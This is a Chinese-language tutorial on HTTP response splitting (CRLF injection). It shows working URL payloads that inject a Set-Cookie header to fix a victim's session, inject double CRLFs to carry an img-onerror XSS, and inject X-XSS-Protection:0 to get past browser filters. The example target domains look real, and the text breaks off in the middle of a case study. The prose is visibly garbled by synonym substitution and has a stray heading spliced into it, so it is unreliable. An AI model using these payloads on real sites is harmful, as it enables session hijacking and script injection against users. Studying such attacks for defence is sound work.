HRS是比XSS危害更大的安全问题,详细是为什么,我们往下看。

对付HRS最大略的利用办法是注入两个\r\n,之后在写入XSS代码,来布局一个xss。

2 举例解释

举个例子,一样平常网站会在HTTP头中用

jsp手工注入Web平安之CRLF注入破绽讲授 HTML

Location:

http://baidu.com这种办法来进行302跳转,以是我们能掌握的内容便是Location:后面的XXX某个网址。

以是一个正常的302跳转包是这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个忽略浏览器Filter的反射型XSS。

比如一个网站接管url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。
如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location:<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。
于是我们这里<img>这个标签就会显示出来,造成一个XSS。

为什么说是忽略浏览器filter的,这里涉及到另一个问题。

浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS干系特色的时候就会过滤掉不显示在页面中,以是不能触发XSS。

若何才能关掉filter?一样平常来说用户这边是弗成的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

说到这里该当就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且实行我们的反射型XSS。

以是说HRS的危害大于XSS,由于它能绕过一样平常XSS所绕不过的filter,并能产生会话固定漏洞。

我们来一个真实案例吧。

某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试

http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,创造图片已经输出在页面中了,解释CRLF注入成功了: